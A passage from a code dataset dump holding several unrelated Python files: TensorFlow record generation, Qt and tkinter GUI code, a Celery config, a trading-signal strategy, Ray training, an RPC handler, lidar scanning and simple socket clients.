s.connect((ip,port))\r\n threading.Thread(target=lambda:recive(s)).start()\r\n while True:\r\n msg = input()\r\n s.send(msg.encode())\r\n","sub_path":"P2P/msg.py","file_name":"msg.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29818259","text":"import cv2, os, io\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nimport PIL.Image\nimport hashlib\n\nfrom object_detection.utils import dataset_util\nfrom object_detection.utils import label_map_util\nfrom tqdm import tqdm\n\nimport contextlib2\nfrom object_detection.dataset_tools import tf_record_creation_util\n\nflags = tf.app.flags\nflags.DEFINE_string('label_map_path', 'dataset/emnist_letters_detection/label_map.pbtxt', 'Path to label map proto')\nFLAGS = flags.FLAGS\n\n# The following functions can be used to convert a value to a type compatible\n# with tf.train.Example.\n\ndef _bytes_feature(value):\n \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n if isinstance(value, type(tf.constant(0))):\n value = value.numpy() # BytesList won't unpack a string from an EagerTensor.\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef _float_feature(value):\n \"\"\"Returns a float_list from a float / double.\"\"\"\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\ndef _int64_feature(value):\n \"\"\"Returns an int64_list from a bool / enum / int / uint.\"\"\"\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\ndef image_to_tf_data(img_path, label_path, label_map_dict):\n filename = img_path.split('/')[-1]\n full_path = img_path\n with tf.io.gfile.GFile(full_path, 'rb') as fid:\n encoded_jpg = fid.read()\n encoded_jpg_io = io.BytesIO(encoded_jpg)\n image = PIL.Image.open(encoded_jpg_io)\n if image.format != 'JPEG':\n raise ValueError('Image format not JPEG')\n key = hashlib.sha256(encoded_jpg).hexdigest()\n\n width, height = image.size\n\n classes, classes_text = [], []\n xmins, ymins, xmaxs, ymaxs = [], [], [], []\n with tf.io.gfile.GFile(label_path) as f:\n lines = f.readlines()\n content = [line.split(',') for line in lines][1:]\n for class_idx, xmin, ymin, xmax, ymax in content:\n classes.append(int(class_idx))\n classes_text.append(label_map_dict[int(class_idx)].encode('utf8'))\n xmins.append(float(xmin) / width)\n ymins.append(float(ymin) / height)\n xmaxs.append(float(xmax) / width)\n ymaxs.append(float(ymax) / height)\n\n feature_dict = { \n 'image/height': dataset_util.int64_feature(height),\n 'image/width': dataset_util.int64_feature(width),\n 'image/filename': dataset_util.bytes_feature(filename.encode('utf8')),\n 'image/source_id': dataset_util.bytes_feature(filename.encode('utf8')),\n 'image/key/sha256': dataset_util.bytes_feature(key.encode('utf8')),\n 'image/encoded': dataset_util.bytes_feature(encoded_jpg),\n 'image/format': dataset_util.bytes_feature('jpg'.encode('utf8')),\n 'image/object/bbox/xmin': dataset_util.float_list_feature(xmins),\n 'image/object/bbox/xmax': dataset_util.float_list_feature(xmaxs),\n 'image/object/bbox/ymin': dataset_util.float_list_feature(ymins),\n 'image/object/bbox/ymax': dataset_util.float_list_feature(ymaxs),\n 'image/object/class/text': dataset_util.bytes_list_feature(classes_text),\n 'image/object/class/label': dataset_util.int64_list_feature(classes)\n }\n tf_data = tf.train.Example(features=tf.train.Features(feature=feature_dict))\n \n return tf_data\n\ndef main(_):\n\n base_dir = \"./dataset/emnist_letters_detection\"\n label_map_dict = label_map_util.get_label_map_dict(FLAGS.label_map_path)\n label_map_dict = {value: key for key, value in label_map_dict.items()}\n num_shards = 10\n \n for dataset in [\"train\", \"test\"]:\n img_names = os.listdir(os.path.join(base_dir, dataset, \"images\"))\n label_names = os.listdir(os.path.join(base_dir, dataset, \"labels\"))\n img_paths = [os.path.join(base_dir, dataset, \"images\", name) for name in img_names]\n label_paths = [os.path.join(base_dir, dataset, \"labels\", name) for name in label_names]\n output_file_dir = os.path.join(base_dir, dataset, \"tfrecord\")\n tf.io.gfile.mkdir(output_file_dir)\n # sharding when dataset is train\n if dataset == \"train\":\n with contextlib2.ExitStack() as tf_record_close_stack:\n output_tfrecords = tf_record_creation_util.open_sharded_output_tfrecords(tf_record_close_stack, os.path.join(output_file_dir, f\"{dataset}.record\"), num_shards)\n for index, (img_path, label_path) in tqdm(enumerate(zip(img_paths, label_paths)), desc=\"Generating tfrecord\", total=len(img_paths)):\n tf_example = image_to_tf_data(img_path, label_path, label_map_dict)\n output_shard_index = index % num_shards\n output_tfrecords[output_shard_index].write(tf_example.SerializeToString())\n else:\n tf_writer = tf.io.TFRecordWriter(os.path.join(output_file_dir, f\"{dataset}.record\"))\n for img_path, label_path in tqdm(zip(img_paths, label_paths), desc=\"Generating tfrecord\", total=len(img_paths)):\n tf_example = image_to_tf_data(img_path, label_path, label_map_dict)\n tf_writer.write(tf_example.SerializeToString())\n tf_writer.close()\n\nif __name__ == '__main__':\n tf.app.run()","sub_path":"research/generate_tfrecord.py","file_name":"generate_tfrecord.py","file_ext":"py","file_size_in_byte":5132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465949351","text":"# Copyright (c) 2013 Shotgun Software Inc.\n#\n# CONFIDENTIAL AND PROPRIETARY\n#\n# This work is provided \"AS IS\" and subject to the Shotgun Pipeline Toolkit\n# Source Code License included in this distribution package. See LICENSE.\n# By accessing, using, copying or modifying this work you indicate your\n# agreement to the Shotgun Pipeline Toolkit Source Code License. All rights\n# not expressly granted therein are reserved by Shotgun Software Inc.\n\nfrom .qt_abstraction import QtGui\nfrom .qt_abstraction import QtCore\n\n\nclass AspectPreservingLabel(QtGui.QLabel):\n def __init__(self, parent=None):\n QtGui.QLabel.__init__(self, parent)\n\n self._pix = None\n\n def setPixmap(self, pixmap):\n self._pix = pixmap\n scaled_pixmap = self._pix.scaled(\n self.size(), QtCore.Qt.KeepAspectRatio, QtCore.Qt.SmoothTransformation)\n QtGui.QLabel.setPixmap(self, scaled_pixmap)\n\n def heightForWidth(self, width):\n if self._pix is None:\n return self._pix.height()*width/self._pix.width()\n return QtGui.QLabel.heightForWidth(self, width)\n\n def sizeHint(self):\n width = min(self.width(), self.pixmap().width())\n return QtCore.QSize(width, self.heightForWidth(width))\n\n def resizeEvent(self, e):\n if self._pix is None:\n return\n\n scaled_pixmap = self._pix.scaled(\n self.size(), QtCore.Qt.KeepAspectRatio, QtCore.Qt.SmoothTransformation)\n QtGui.QLabel.setPixmap(self, scaled_pixmap)\n QtGui.QApplication.instance().processEvents()\n","sub_path":"install/frameworks/app_store/tk-framework-login/v1.0.6/python/aspect_preserving_label.py","file_name":"aspect_preserving_label.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158807390","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 26 07:54:35 2018\n\n@author: xsxsz\n\"\"\"\n\nimport os\nimport zipfile\nz=zipfile.ZipFile('save.zip',mode='w')\nif os.path.isdir('zip_test'):\n print('path exists')\n print('-----------')\n for filename in os.listdir('zip_test'):\n z.write('./zip_test/'+filename)\n z.close()","sub_path":"others/python_zipfile.py","file_name":"python_zipfile.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30532429","text":"# -*-coding: utf-8-*-\n# **************************file desc*****************************\n\n\n__author__ = 'wangxiaohu'\n# createTime : 2019/1/29 0029 17:00\n# desc :celery 的配置文件\n# ****************************************************************\n\n\n# 使用redis作为消息代理\nBROKER_URL='redis://106.13.49.195:6380/0'\n# 把任务结果存在了Redis\nCELERY_RESULT_BACKEND = 'redis://106.13.49.195:6380/1'\n# 任务序列化和反序列化使用JSON方案\nCELERY_TASK_SERIALIZER = 'json'\n# 读取任务结果使用JSON\nCELERY_RESULT_SERIALIZER = 'json'\n# 任务过期时间,不建议直接写86400,应该让这样的magic数字表述更明显\nCELERY_TASK_RESULT_EXPIRES = 60 * 60 * 24\n# 指定接受的内容类型,是个数组,可以写多个\nCELERY_ACCEPT_CONTENT = ['json']","sub_path":"Celery/Spider/celeryConfig.py","file_name":"celeryConfig.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"102489395","text":"import json\nimport rpm\nimport sys\n\n\ndef format_version(app):\n return '{e}:{v}-{r}.{a}'.format(e=app['epoch'] or 0,\n v=app['version'],\n a=app['arch'],\n r=app['release'])\n\n\nsys.stdout.write(\n json.dumps({\n 'rpm_packages': [{\n 'packages': [{'name': app['name'], 'version': format_version(app)} for app in rpm.ts().dbMatch()]}\n ]}) + '\\n')\n","sub_path":"src/actors/containerization/misc/rpm_list/rpm_list.py","file_name":"rpm_list.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"132440513","text":"\"\"\"\n\tElasticDefense.py\n\t\n\tA strategy that makes use of two indicators and some \n\tclever decision making.\n\t\n\tElasticDefense uses the MACD (Moving Average Convergence Divergence) and \n\tSSI (Slow Stochastic Indicator) indicators. Various conditions must be met\n\tfor this indicator to return a buy long or sell short signal.\n\t\n\tUses 2 stages to determine if a signal should be launched.\n\t\n\tStage 1 Triggers:\n\t\tLong Signal:\n\t\t\t1. Histogram above 0\n\t\t\t2. Histogram degrading to 0\n\t\t\t3. Histogram reverses and go up again after nearing 0\n\t\t\t\tGraph below shows the situation\n\t\t\tHistogram\t|----___\n\t\t\t\t\t\t|\t\t``-__.-`\n\t\t\t\t0 Line\t|________________________\n\n\t\tShort Signal:\n\t\t\t1. Histogram below 0\n\t\t\t2. Histogram accending to 0\n\t\t\t3. Histogram reverses and goes down again after nearing 0\n\t\t\t\n\t\t\t\t0 Line\t|__________________________\n\t\t\t\t\t\t|\t\t..--.\n\t\t\tHistogram\t|___,.-`\t `--.\n\t\t\t\n\tStage 2 Triggers:\n\t\tLong Signal:\n\t\t\t1. Stage 1 Long Signal Completed\n\t\t\t2. SSI under 20%\n\t\t\t3. SSI Lines are crossed\n\t\t\t4. SSI Lines are facing UP\n\t\t\n\t\tShort Signal:\n\t\t\t1. Stage 1 Short Signal Completed\n\t\t\t2. SSI over 80%\n\t\t\t3. SSI Lines are crossed\n\t\t\t4. SSI Lines are facing DOWN\n\"\"\"\n\ndef ElasticDefense(pair):\n\t# For those who want to see the debug text\n\tverboseOut = False\n\t\n\t# Call on indicators that the strategy uses\n\tretMACD = pair.indicator_MACD()\n\tretSSI\t= pair.indicator_STOCH()\n\t\n\t# Parse the information needed from the indicators\n\tpatMACD = retMACD[\"histogram\"][-7:]\n\tdirSSI\t= \"Up\" if retSSI[\"signal\"][-1] > retSSI[\"signal\"][-2] else \"Down\"\n\tfailObj\t= {\"Signal\":\"None\"}\n\tretObj\t= {\"Signal\":\"None\"}\n\t\n\t# Test parameters for Long\n\t#retMACD[\"histogram\"] = [1,1]\n\t#patMACD = [3,2,1,0,0,1,2]\n\t#dirSSI = \"Up\"\n\t#retSSI[\"signal\"] =[10,12]\n\t\n\t# Test parameters for Short\n\t#retMACD[\"histogram\"] = [-2,-1]\n\t#patMACD = [-3,-2,-1,0,0,-1,-2]\n\t#dirSSI = \"Down\"\n\t#retSSI[\"signal\"] =[88,85]\n\t\n\t# Check for basic reversal trends\n\tif retMACD[\"histogram\"][-1] > 0:\n\t\ttmp=patMACD[:5]\n\t\tfor elm in range(0, len(tmp)-1):\n\t\t\tif tmp[elm] < tmp[elm+1]:\n\t\t\t\tif verboseOut:\n\t\t\t\t\tprint(\"%s ] 0> %s is < than %s\"%(pair.pair, tmp[elm], tmp[elm+1]))\n\t\t\t\treturn failObj\n\t\ttmp=patMACD[4:]\n\t\tfor elm in range(0, len(tmp)-1):\n\t\t\tif tmp[elm] > tmp[elm+1]:\n\t\t\t\tif verboseOut:\n\t\t\t\t\tprint(\"%s ] 0> %s is > than %s\"%(pair.pair, tmp[elm], tmp[elm+1]))\n\t\t\t\treturn failObj\n\telif retMACD[\"histogram\"][-1]<0:\n\t\ttmp=patMACD[:5]\n\t\tfor elm in range(0, len(tmp)-1):\n\t\t\tif tmp[elm] > tmp[elm+1]:\n\t\t\t\tif verboseOut:\n\t\t\t\t\tprint(\"%s ] <0 %s is > than %s\"%(pair.pair, tmp[elm], tmp[elm+1]))\n\t\t\t\treturn failObj\n\t\ttmp=patMACD[4:]\n\t\tfor elm in range(0, len(tmp)-1):\n\t\t\tif tmp[elm] < tmp[elm+1]:\n\t\t\t\tif verboseOut:\n\t\t\t\t\tprint(\"%s ] <0 %s is < than %s\"%(pair.pair, tmp[elm], tmp[elm+1]))\n\t\t\t\treturn failObj\n\telse:\n\t\treturn failObj\n\tif verboseOut:\n\t\tprint(\"%s ] Pair passed stage 1\"%pair.pair)\n\t\n\t# Check that histogram direction complies with rules\n\tif dirSSI == \"Up\":\n\t\tif retMACD[\"histogram\"][-1] < 0:\n\t\t\tif verboseOut:\n\t\t\t\tprint(\"%s ] %s does not comply with Up direction.\"%(pair.pair, retMACD[\"histogram\"][-1]))\n\t\t\treturn failObj\n\t\tretObj[\"Signal\"] = \"long\"\n\telse:\n\t\tif retMACD[\"histogram\"][-1] > 0:\n\t\t\tif verboseOut:\n\t\t\t\tprint(\"%s ] %s does not comply with Down direction.\"%(pair.pair, retMACD[\"histogram\"][-1]))\n\t\t\treturn failObj\n\t\tretObj[\"Signal\"] = \"short\"\t\n\tif verboseOut:\n\t\tprint(\"%s ] Pair passed stage 2\"%pair.pair)\n\t\n\tif retMACD[\"histogram\"][-1] < 0:\n\t\tif retSSI[\"signal\"][-1] <= 80.00:\n\t\t\tif verboseOut:\n\t\t\t\tprint(\"%s ] %s is <= 80.00 : Non-compliant with histograms under 0\"%(pair.pair, retSSI[\"signal\"][-1]))\n\t\t\treturn failObj\n\telif retMACD[\"histogram\"][-1] > 0:\n\t\tif retSSI[\"signal\"][-1] >= 20.00:\n\t\t\tif verboseOut:\n\t\t\t\tprint(\"%s ] %s is >= 20.00 : Non-compliant with histograms above 0\"%(pair.pair, retSSI[\"signal\"][-1]))\n\t\t\treturn failObj\n\t#if verboseOut:\n\tprint(\"%s ] Pair passed!\"%pair.pair)\n\treturn retObj","sub_path":"most-complex-project/Kinix-master/_modules/strategy/ElasticDefense.py","file_name":"ElasticDefense.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"459260969","text":"import json\nimport os\n\nimport gym\nimport ray\nfrom ray.tune import run_experiments\nimport ray.rllib.agents.a3c as a3c\nimport ray.rllib.agents.ppo as ppo\nfrom ray.tune.registry import register_env\nfrom environment import NetworkCompression\n\nfrom sagemaker_rl.ray_launcher import SageMakerRayLauncher\n\ndef create_environment(env_config):\n # This import must happen inside the method so that worker processes import this code\n from environment import Compression\n return Compression()\n\n\nclass MyLauncher(SageMakerRayLauncher):\n def __init__(self):\n super(MyLauncher, self).__init__()\n self.num_gpus = int(os.environ.get(\"SM_NUM_GPUS\", 0))\n self.hosts_info = json.loads(os.environ.get(\"SM_RESOURCE_CONFIG\"))[\"hosts\"]\n self.num_total_gpus = self.num_gpus * len(self.hosts_info)\n\n def register_env_creator(self):\n register_env(\"NetworkCompression-v1\", create_environment)\n\n def get_experiment_config(self):\n return {\n \"training\": {\n \"env\": \"NetworkCompression-v1\",\n \"run\": \"A3C\",\n \"stop\": {\n \"training_iteration\": 20,\n },\n \"local_dir\": \"/opt/ml/model/\",\n \"checkpoint_freq\" : 1,\n \"config\": {\n \"num_workers\": max(self.num_total_gpus-1, 1),\n \"use_gpu_for_workers\": True,\n \"train_batch_size\": 5,\n \"sample_batch_size\": 1,\n \"gpu_fraction\": 0.3,\n \"optimizer\": {\n \"grads_per_step\": 10\n },\n },\n \"trial_resources\": {\"cpu\": 0, \"gpu\": 1, \"extra_gpu\": max(self.num_total_gpus-1, 1), \"extra_cpu\": 0},\n }\n }\n\nif __name__ == \"__main__\":\n os.environ[\"LC_ALL\"] = \"C.UTF-8\"\n os.environ[\"LANG\"] = \"C.UTF-8\"\n os.environ[\"RAY_USE_XRAY\"] = \"1\"\n print(a3c.DEFAULT_CONFIG)\n MyLauncher().train_main()","sub_path":"reinforcement_learning/rl_network_compression_ray_custom/src/train-ray.py","file_name":"train-ray.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"118471557","text":"# coding: utf-8\nimport logging\n\nimport future.utils\n\nimport modernrpc.compat\nfrom modernrpc.core import RpcResult, registry, REQUEST_KEY, ENTRY_POINT_KEY, PROTOCOL_KEY, HANDLER_KEY\nfrom modernrpc.exceptions import (\n RPCException,\n RPC_METHOD_NOT_FOUND,\n RPC_INTERNAL_ERROR,\n RPC_INVALID_PARAMS\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass RPCHandler(object):\n protocol = None\n\n def __init__(self, entry_point):\n self.entry_point = entry_point\n\n @staticmethod\n def valid_content_types():\n raise NotImplementedError(\"You must override valid_content_types()\")\n\n def can_handle(self, request):\n return request.content_type.lower() in self.valid_content_types()\n\n def parse_request(self, request_body):\n \"\"\"Parse given request body and build a RPC request wrapper\"\"\"\n raise NotImplementedError()\n\n def validate_request(self, rpc_request):\n \"\"\"Check current request to ensure it is valid regarding protocol specifications\n\n Default implementation does nothing\n :rpc_request: The request to validate\n :type rpc_request: RPCRequest\n \"\"\"\n pass\n\n def process_request(self, request, rpc_request):\n \"\"\"\n :param request:\n :type rpc_request: HttpRequest\n :param rpc_request:\n :type rpc_request: RpcRequest\n :return:\n :rtype: RpcResult\n \"\"\"\n rpc_result = RpcResult(rpc_request.request_id)\n try:\n self.validate_request(rpc_request)\n except RPCException as exc:\n rpc_result.set_error(exc.code, exc.message)\n return rpc_result\n\n _method = registry.get_method(rpc_request.method_name, self.entry_point, self.protocol)\n if not _method:\n rpc_result.set_error(RPC_METHOD_NOT_FOUND, 'Method not found: \"{}\"'.format(rpc_request.method_name))\n return rpc_result\n\n if not _method.check_permissions(request):\n rpc_result.set_error(\n RPC_INTERNAL_ERROR, 'Authentication failed when calling \"{}\"'.format(rpc_request.method_name)\n )\n return rpc_result\n\n args, kwargs = rpc_request.args, rpc_request.kwargs\n # If the RPC method needs to access some configuration, update kwargs dict\n if _method.accept_kwargs:\n kwargs.update({\n REQUEST_KEY: request,\n ENTRY_POINT_KEY: self.entry_point,\n PROTOCOL_KEY: self.protocol,\n HANDLER_KEY: self,\n })\n\n if future.utils.PY2:\n method_std, encoding = _method.str_standardization, _method.str_std_encoding\n args = modernrpc.compat.standardize_strings(args, strtype=method_std, encoding=encoding)\n kwargs = modernrpc.compat.standardize_strings(kwargs, strtype=method_std, encoding=encoding)\n\n logger.debug('Params: args = %s - kwargs = %s', args, kwargs)\n\n try:\n # Call the rpc method, as standard python function\n rpc_result.set_success(_method.function(*args, **kwargs))\n\n except TypeError as te:\n # If given params cannot be transmitted properly to python function\n rpc_result.set_error(RPC_INVALID_PARAMS, \"Invalid parameters: {}\".format(te))\n\n except RPCException as re:\n rpc_result.set_error(re.code, re.message, data=re.data)\n\n except Exception as exc:\n rpc_result.set_error(RPC_INTERNAL_ERROR, \"Internal error: {}\".format(exc))\n\n return rpc_result\n\n def build_response_data(self, result):\n \"\"\"\n :param result:\n :type result: modernrpc.core.RpcResult\n :return:\n \"\"\"\n raise NotImplementedError()\n","sub_path":"modernrpc/handlers/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"415222231","text":"from tkinter import *\nfrom tkinter import ttk\nfrom PIL import ImageTk, Image\nfrom tkinter import filedialog\nimport os\n\n\nimport driver_backend\n\nfilename=''\nsave_dir='driver_images/'\nsave_img=''\nimage_path=''\n\n\"\"\" check for folder exist otherwise create it \"\"\"\nif not os.path.exists('driver_images'):\n os.makedirs('driver_images')\n\ndef save_image():\n #if not str(os.path.exists(filena)):\n #print(\"image path is\"+image_path)\n save_img.save(image_path,'JPEG')\n\n\n\ndef add_command():\n #print(\"image path = \"+image_path)\n driver_backend.insert(ID_text.get(),name_text.get(),vehicle_text.get(),plate_text.get(),location_text.get(),image_path)\n view_command()\n save_image()\n clear_textfield()\n\ndef view_command():\n tree.delete(*tree.get_children())\n for row in driver_backend.view():\n tree.insert(\"\",END,values=row)\n tree.column(\"#1\", width=0)\n\ndef get_selected_row(event):\n\n clear_textfield()\n global selected_tuple\n for selected_tuple in tree.selection():\n global id\n id,emp_id,name,vehicle,plate_no,work_location,image_path = tree.item(selected_tuple, 'values')\n e1.insert(END, emp_id)\n e2.insert(END, name)\n e3.insert(END, vehicle)\n e4.insert(END, plate_no)\n e5.insert(END, work_location)\n display_image(image_path)\n\ndef clear_textfield():\n e1.delete(0,END)\n e2.delete(0,END)\n e3.delete(0,END)\n e4.delete(0,END)\n e5.delete(0,END)\n\ndef update_command():\n #print(image_path)\n driver_backend.update(id,ID_text.get(),name_text.get(),vehicle_text.get(),plate_text.get(),location_text.get(),image_path)\n save_image()\n view_command()\n clear_textfield()\n\n\ndef search_command():\n tree.delete(*tree.get_children())\n for row in driver_backend.search(ID_text.get(),name_text.get(),vehicle_text.get(),plate_text.get(),location_text.get()):\n tree.insert(\"\",END,values=row)\n\ndef delete_command():\n driver_backend.delete(id)\n view_command()\n\nwindow=Tk()\n\n\nwindow.wm_title(\"Drivers Details\")\n\nl1=Label(window,text=\"ID No:\")\nl1.grid(row=0,column=0)\n\nl2=Label(window,text=\"Name\")\nl2.grid(row=0,column=2)\n\nl3=Label(window,text=\"Vehicle\")\nl3.grid(row=1,column=0)\n\nl4=Label(window,text=\"Plate:\")\nl4.grid(row=1,column=2)\n\nl5=Label(window,text=\"Work Location:\")\nl5.grid(row=2,column=0)\n\nl6=Label(window,text=\"Upload Photo\")\nl6.grid(row=2,column=2)\n\nb1=Button(window,text=\"view All\", width=12,command=view_command)\nb1.grid(row=4,column=0)\n\nb2=Button(window,text=\"Search\", width=12,command=search_command)\nb2.grid(row=4,column=1)\n\nb3=Button(window,text=\"Add\", width=12,command=add_command)\nb3.grid(row=4,column=2)\n\nb4=Button(window,text=\"Update\", width=12,command=update_command)\nb4.grid(row=4,column=3)\n\nb5=Button(window,text=\"Delete\", width=12,command=delete_command)\nb5.grid(row=4,column=4)\n\nb6=Button(window,text=\"Close\", width=12,command=window.destroy)\nb6.grid(row=4,column=5)\n\nID_text=StringVar()\ne1=Entry(window,textvariable=ID_text)\ne1.grid(row=0,column=1)\n\nname_text=StringVar()\ne2=Entry(window,textvariable=name_text)\ne2.grid(row=0,column=3)\n\nvehicle_text=StringVar()\ne3=Entry(window,textvariable=vehicle_text)\ne3.grid(row=1,column=1)\n\nplate_text=StringVar()\ne4=Entry(window,textvariable=plate_text)\ne4.grid(row=1,column=3)\n\nlocation_text=StringVar()\ne5=Entry(window,textvariable=location_text)\ne5.grid(row=2,column=1)\n\n\"\"\" Treeview \"\"\"\ntree= ttk.Treeview(window, column=(\"ID\",\"Employee ID\", \"Name\", \"Vehicle\",\" Plate No:\",\"Work Location\"), show='headings')\ntree.heading(\"#1\", text=\"ID\")\ntree.heading(\"#2\", text=\"Employee ID\")\ntree.heading(\"#3\", text=\"Name\")\ntree.heading(\"#4\", text=\"Vehicle\")\ntree.heading(\"#5\", text=\"Plate No:\")\ntree.heading(\"#6\", text=\"Work Location\")\ntree.grid(row=6,column=0,rowspan=6,columnspan=7)\n\ntree.bind(\"<>\",get_selected_row)\n\n\"\"\" upload image\"\"\"\ndef openfn():\n global filename\n filename= filedialog.askopenfilename(title='open')\n\n\ndef open_img():\n openfn()\n global image_path, save_img\n image_path = getImagePath(filename)\n #print(\"image path = \"+image_path)\n save_img=Image.open(filename)\n img = Image.open(filename)\n #img.save(image_name,'JPEG')\n img = img.resize((55, 65), Image.ANTIALIAS)\n img = ImageTk.PhotoImage(img)\n panel = Label(window, image=img)\n panel.image = img\n panel.grid(row=0,column=4,rowspan=3,columnspan=2)\n\ndef display_image(image_path):\n img = Image.open(image_path)\n img = img.resize((55, 65), Image.ANTIALIAS)\n img = ImageTk.PhotoImage(img)\n panel = Label(window, image=img)\n panel.image = img\n panel.grid(row=0,column=4,rowspan=3,columnspan=2)\n\n\ndef getImagePath(filename):\n global filena\n filena = filename.split('/')[-1]\n new_path = save_dir+filena\n return new_path\n\n\nbtn = Button(window, text='open image', command=open_img).grid(row=2,column=3)\n\nwindow.mainloop()\n","sub_path":"drivfront.py","file_name":"drivfront.py","file_ext":"py","file_size_in_byte":4854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"532657438","text":"\"\"\"\nProgram that only sends data 5 time a second. So we can adjust the time to the Computetime of the PC,\nto get mostly lag free images. So the Information we extract from the images are still relevant.\n\"\"\"\nfrom rplidar import RPLidar as rp\nimport time\nimport multiprocessing\nimport cv2\nimport numpy as np\n\n\nclass Lidar:\n\t\n\tdef __init__(self, buffer):\n\t\tself.__buffer__ = buffer\n\t\tself.lidar = rp('/dev/tty.SLAB_USBtoUART')\n\t\ttime.sleep(2)\n\t\n\tdef scan(self):\n\t\tinter = self.lidar.iter_measurments(0)\n\t\tscan = []\n\t\tst = time.time()\n\t\ttry:\n\t\t\tfor i in inter:\n\t\t\t\tn, q, a, d = i\n\t\t\t\tif n:\n\t\t\t\t\tif time.time() > st:\n\t\t\t\t\t\tself.__buffer__.put(scan)\n\t\t\t\t\t\tprint(\"Scan\")\n\t\t\t\t\t\tst += 0.2\n\t\t\t\t\tscan = []\n\t\t\t\t\tscan.append((q, a, d))\n\t\t\t\telse:\n\t\t\t\t\tscan.append((q, a, d))\n\t\tfinally:\n\t\t\tself.stop()\n\t\n\tdef stop(self):\n\t\tself.lidar.stop()\n\t\tself.lidar.stop_motor()\n\t\tself.lidar.disconnect()\n\n\nclass LidarFunktions:\n\tdef __init__(self, position=(3500, 3500)):\n\t\tself.position = position\n\t\n\t@staticmethod\n\tdef get_coords(d, r):\n\t\t\"\"\"\n\t\t:param d: float() - degree\n\t\t:param r: float() - radius, distance in mm\n\t\t:return: tuple() - as coordinates\n\t\t\"\"\"\n\t\tx = int(round(np.cos(d * np.pi / 180) * r, 1))\n\t\ty = int(round(np.sin(d * np.pi / 180) * r, 1))\n\t\treturn x, y\n\t\n\t@staticmethod\n\tdef map_coords(points, position):\n\t\t\"\"\"\n\t\tfunction to transform points into map\n\t\t:param points: tuple() - points\n\t\t:param position: tuple() - position\n\t\t:return: tuple() - transformed points\n\t\t\"\"\"\n\t\treturn points[0] + position[0], points[1] + position[1]\n\t\n\tdef prepare_data(self, data, position):\n\t\txy_data = []\n\t\tfor q, d, r in data:\n\t\t\tx, y = self.get_coords(d, r)\n\t\t\tx, y = self.map_coords((x, y), position)\n\t\t\txy_data.append((x, y))\n\t\treturn np.array(xy_data)\n\t\n\t@staticmethod\n\tdef draw_line_map(map, data, color=200, thickness=5):\n\t\tlast_point = None\n\t\tfor x, y in data:\n\t\t\tif last_point is None:\n\t\t\t\tlast_point = (x, y)\n\t\t\telse:\n\t\t\t\tcv2.line(map, last_point, (x, y), color, thickness)\n\t\t\t\tlast_point = (x, y)\n\t\treturn map\n\t\n\tdef main(self, buffer):\n\t\twhile True:\n\t\t\tif not buffer.empty():\n\t\t\t\tprint(\"Scan1\")\n\t\t\t\tdata = buffer.get()\n\t\t\t\tpre_data = self.prepare_data(data=data, position=self.position)\n\t\t\t\tzeroMap = np.zeros((7000, 7000), np.uint8)\n\t\t\t\timage = self.draw_line_map(zeroMap, pre_data)\n\t\t\t\tcv2.imshow(\"Image\", cv2.resize(image, (400, 400)))\n\t\t\t\tkey = cv2.waitKey(1)\n\t\t\t\tif key == ord('q'):\n\t\t\t\t\tcv2.destroyAllWindows()\n\t\t\t\t\tself.stop()\n\t\t\telse:\n\t\t\t\ttime.sleep(0.1)\n\t\n\tdef stop(self):\n\t\tfor i in multiprocessing.active_children():\n\t\t\ti.terminate()\n\t\t\tprint(i)\n\t\texit()\n\n\nbuffer = multiprocessing.Queue()\n\np1 = multiprocessing.Process(target=Lidar(buffer).scan)\np1.start()\nLidarFunktions().main(buffer)\n","sub_path":"test_process.py","file_name":"test_process.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"394392767","text":"import socket\nimport pickle\nfrom common import Message\n\nclass Network:\n def __init__(self):\n self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server = \"192.168.0.102\"\n self.port = 5555\n self.addr = (self.server, self.port)\n self.connected = False\n\n def connect(self):\n try:\n self.client.connect(self.addr)\n self.connected, clientID = pickle.loads(self.client.recv(2048))\n return clientID\n except Exception as e:\n print(e)\n\n def send(self, messType, data):\n try:\n self.client.sendall(pickle.dumps(Message(messType, data)))\n if messType == 'get':\n return pickle.loads(self.client.recv(2048*4)).read()\n # send a confirmation? is this all handled by sendall?\n except socket.error as e:\n print(e)\n","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"176394156","text":"class Solution:\n def closedIsland(self, grid: List[List[int]]) -> int:\n cnt = 0\n m, n = len(grid), len(grid[0])\n for i in range(m):\n self.dfs(i, 0, grid)\n self.dfs(i, n - 1, grid)\n for j in range(n):\n self.dfs(0, j, grid)\n self.dfs(m - 1, j, grid)\n for i in range(1, m):\n for j in range(1, n):\n if grid[i][j] == 